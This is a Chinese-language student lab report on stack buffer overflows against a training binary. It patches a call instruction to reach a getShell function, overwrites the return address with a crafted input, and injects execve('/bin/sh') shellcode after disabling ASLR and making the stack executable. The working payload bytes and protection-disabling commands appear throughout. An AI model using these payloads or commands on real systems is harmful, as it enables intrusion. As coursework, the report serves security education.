1.实验内容
本周学习内容
- 1.熟练掌握了栈和堆的概念。
- 2.掌握了Linux的基本操作,如shell命令和编译器gcc、调试器gdb的使用。
- 3.掌握了缓冲区溢出的原理。
实验任务
本次实验的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们本次实验将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellc。本次实验内容分为以下3个:
- 1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 3.注入一个自己制作的shellcode并运行这段shellcode。
2.实验过程
任务一 直接修改程序机器指令,改变程序执行流程
首先修改终端名,在这里我修改为自己名字的拼音简称,打开新终端后显示修改成功。
反汇编文件objdump -d pwn1| more
,找到main、getshell和foo。
第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
观察main函数发现,call 跳转到了foo函数,而根据对pwn20222302文件的运行测试发现,它只会简单回显任何用户输入的字符串。根据实验要求,我们需要修改可执行文件,改变程序执行流程,直接跳转到getShell函数。这里就需要修改主函数,想办法将call foo改为call getShell。因此,需要将call 8048491中的地址8048491修改为getShell的地址804847d。偏移量=8048491-80484ba=-41。补码表示为0xffffffd7,与第二列机器指令中的0xd7ffffff相吻合。由此可知,要想调用getShell,偏移量为0804847d(getShell函数的首地址)-80484ba=-61=0xffffff3c颠倒为计算机存储内容,为0xc3ffffff,即需要将0xd7ffffff修改为0xc3ffffff。
下面是修改过程:
vi pwn20222302
打开文件后为乱码
按esc键,输入:%!xxd
进入十六进制编辑模式,使用/e8 d7
快速找到需要修改的地址。
修改地址,将d7改成c3,然后使用:%!xxd -r
转回原来乱码格式,并使用:wq
命令保存退出。
反汇编objdump -d pwn20222302 | more
查看机器指令。
可以看到修改成功。
./pwn20222302
运行结果。
成功获取shell,即成功调用了getShell函数。
任务二 通过构造输入参数,造成BOF攻击,改变程序执行流
用gdb pwn20222302
调试程序,确认输入字符串哪几个字符会覆盖到返回地址,过程中发现未安装gdb。
使用sudo apt update
和sudo apt install gdb
命令安装gdb。
安装完成后输入gdb,检查gdb是否安装成功。
确认输入字符串哪几个字符会覆盖到返回地址。
输入字符串1111111122222222333333334444444412345678,输入命令 info r
查看寄存器eip的值,发现输入的1234为被覆盖到堆栈上的返回地址。
那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222302,pwn20222302就会运行getShell。
getShell的内存地址,通过反汇编时可以看到,即0804847d。
接下来要确认下字节序,简单说是输入11111111222222223333333344444444\x08\x04\x84\x7d,还是输入11111111222222223333333344444444\x7d\x84\x04\x08。
通过确认需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08。
由为无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件(\x0a表示回车),即输入
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16进制查看指令xxd查看input文件的内容是否如预期,然后使用(cat input;cat) | ./pwn20222302
将input中的字符串作为可执行文件的输入。
结果发现成功获取shell,即成功调用了getShell函数。
任务三 注入Shellcode并执行
- 1.准备工作
安装execstack,使用命令sudo apt-get install execstack
安装。
提示execstack已是最新版本。
通过以下命令修改设置:
execstack -s pwn20222211-3 //设置堆栈可执行
execstack -q pwn20222211-3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
2.构造要注入的payload。
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:
Perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn20222302的输入:
(cat input_shellcode; cat) | ./pwn20222302
打开一个终端注入这段攻击buf:
(cat input_shellcode;cat) | ./pwn20222302
打开一个新的终端,找到pwn的进程号,并且用gdb调试进程。
输入ps -ef | grep pwn20222302
,查看pwn20222302文件的进程以及进程号
可以看到,进程号分别为50738和50667,但是50738才是pwn文件的进程号
然后启动gdb调试这个进程,输入gdb
,输入命令attach 50738
,输入命令disassemble foo
,反编译foo函数并进行分析
发现ret的地址为0x080484ae,因此,在这里设置断点,继续分析。
输入命令break *0x080484ae
,在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行
输入info r esp
查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffcffc
使用x/16x 0xffffcfdc命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x01020304,这说明找的就是这个地址。
因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcffc+4=0xffffd000
现在可以进行shellcode的注入,最终获取shell。将0x01020304换成上述我们计算出来的位置0xffffd000,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入
perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
然后再输入(cat input_shellcode; cat) | ./pwn20222302
,将input_shellcode的输入内容作为pwn20222302的输入。
成功获取shell,即成功调用了getShell函数。
3.问题及解决方案
- 问题一:对gdb的分析原理没有理解透彻,输入c后后续进行出现问题。
解决方案:在运行pwn的老终端中按下回车,继续运行pwn,从而让gdb往下分析,否则将一直卡住。 - 问题二:在关闭地址随机化时产生权限错误的问题。
解决方案:因为“sudo”命令不支持重定向,使用以下命令
sudo bash -c "echo 0 > /proc/sys/kernel/randomize_va_space"
- 问题三:在输入命令
attach 50738
后,提示 No such process。
解决方案:因为没有在终端注入攻击buf,因此进程不存在。在新终端注入攻击buf后进程存在。
4.学习感悟
通过本次实验首先我学会了通过手工修改可执行文件,改变程序执行流程,直接跳转到 getShell 函数。其中包括对反汇编与十六进制编程器的掌握,可以粗略读懂汇编语言,可以自己反编译并修改可执行文件。其次是对堆栈结构的掌握,理解了堆栈结构攻击缓冲区的原理,掌握了返回地址的获取。最后我通过注入Shellcode并执行的实验学会了使用gdb正确构造payload进行bof攻击。本次实验作为本课程的第一次实验,做起来肯定不会一帆风顺。我在操作的过程中遇到了各种各样的问题,但通过不断地查阅资料和寻求同学帮助后得以解决。本次实验的完成对我解决问题的能力有很大的提升。在做后面的实验时肯定依旧会有各种问题,但通过本次实验打下的基础,我相信我可以一路披荆斩棘,完成任务。